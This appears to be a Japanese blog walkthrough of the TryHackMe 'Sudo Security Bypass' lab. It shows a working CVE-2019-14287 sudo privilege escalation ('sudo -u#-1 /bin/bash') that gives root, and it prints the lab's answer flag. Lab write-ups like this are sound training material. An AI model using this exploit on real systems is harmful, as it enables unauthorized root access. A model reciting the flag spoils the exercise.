0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

TryHackMe「Sudo Security Bypass」のWalkthroughです。

Task2

Q1.What command are you allowed to run with sudo?

Hint.Try using: sudo -l to see your privileges

SSHでターゲットマシンに接続します。

$ ssh -p 2222 tryhackme@10.10.53.158
tryhackme@sudo-privesc:~$

sudo -lで実行できるプログラムを確認します。

$ sudo -l
Matching Defaults entries for tryhackme on sudo-privesc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tryhackme may run the following commands on sudo-privesc:
    (ALL, !root) NOPASSWD: /bin/bash

A./bin/bash

Q2.What is the flag in /root/root.txt?

Hint.Get root using sudo (as a user with UID -1) with the command you found in the last question, then use cat /root/root.txt to get the flag.

このマシンにはCVE-2019-14287の脆弱性があります。

CVE-2019-14287についての記事を書いたので併せてご覧ください。
【ハッキング入門】CVE-2019-14287を使用した権限昇格について

権限昇格をします。

$ sudo -u#-1 /bin/bash
root@sudo-privesc:~# whoami
root

/root/root.txtからフラグを入手できます。

/root/root.txt
THM{l33t_s3cur1ty_bypass}

A.THM{l33t_s3cur1ty_bypass}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?